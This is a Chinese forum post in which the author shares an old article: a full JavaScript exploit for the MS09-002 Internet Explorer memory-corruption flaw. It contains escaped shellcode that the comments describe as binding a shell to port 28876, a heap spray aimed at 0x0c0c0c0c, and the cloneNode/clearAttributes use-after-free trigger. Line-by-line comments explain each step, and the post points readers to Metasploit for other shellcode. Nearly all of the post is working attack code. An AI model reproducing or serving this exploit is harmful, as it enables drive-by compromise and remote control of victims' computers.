- UID
- 42596
注册时间2007-12-22
阅读权限10
最后登录1970-1-1
周游历练
该用户从未签到
|
以前写的文章,很少发帖,随便拿出来晒晒,大侠飘过……
// MS09-002 exploit code:
<script language="JavaScript">
// 绑定 win32系统上的 28876/tcp端口,用于反弹连接的shellcode
// 你可以根据自己的意愿来选择不同功能的shellcode,如果你比较懒的话,可以直接去Metasploit上
// 拷贝一份shellcode,在我的博客[url]http://riusksk.blogbus.com[/url]有链接
var shellcode=unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
//下面的代码主要用于实现 heap spray,即用js分配内存,所分配的内存均放入堆中,
//然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,
//申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,
//因此只要让IE执行到0x0C0C0C0C就可以执行shellcode,
//创建一数组对象array,而这些动态申请到的对象/变量都会被分配到堆中
var ret = 0x0c0c0c0c; CollectGarbage(); //将所有申请到的变量所占的空间释放掉
var heap_chunk_size = 0x40000; //每块用来填充的堆块大小
var nopsled_size = heap_chunk_size - (shellcode.length * 2)
var nopsled = unescape("%u0c0c%u0c0c");
while (nopsled.length < nopsled_size)
nopsled += nopsled;//每一堆块里面除了shellcode就放%u0C0C%u0C0C
heap_chunks = new Array();//创建新数组,申请到的空间也是被分配到堆中
heap_chunks_num = (ret - heap_chunk_size)/heap_chunk_size;//将被覆盖掉的总内存大小
for (var i = 0 ; i < heap_chunks_num ; i++)
heap_chunks[i] = nopsled +shellcode;//用很多上面的堆块去覆盖掉一大片的内存地址
var s1=unescape("%u0c0c%u0c0cAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<500;x++)
a1.push(document.createElement("img")); //循环创建 img元素
o1=document.createElement("tbody"); //创建tbody元素
o1.click; //触发click事件
var o2 = o1.cloneNode(); //复制 o1对象给o2对象,由于我们并没有为click指定处理函数,因此两对象指向同一虚表地址
o1.clearAttributes(); //清除o1属性
o1=null; //将o1置null,此时其所占用的内存并不会释放,当下次再次定义变量时,就会覆盖此变量所在的内存,如果不设为null,JS再次定义变量时,就会开辟出一个新的内存空间
CollectGarbage(); //释放内存空间
for(var x=0;x<a1.length;x++)
a1[x].src=s1; //循环为img.src属性赋予一长串值,覆盖的就是原o1的内存空间,当触发click后,就会去寻找s1中的地址,即0x0c0c0c0c,而此时它已经被我们通过heap spray技术覆盖掉了
o2.click; //由于我们并没有为click指定处理函数,那么o1与o2对象指向的虚表中存在着click虚函数的地址,当两对象接到click事件后,会通过对象中的虚表指针来定位虚表,并在虚表中寻找处理函数。因此只要将虚表中的click函数地址替换为我们的shellcode的地址,即0x0c0c0c0c,就可以实现我们攻击目的了。
</script> |
|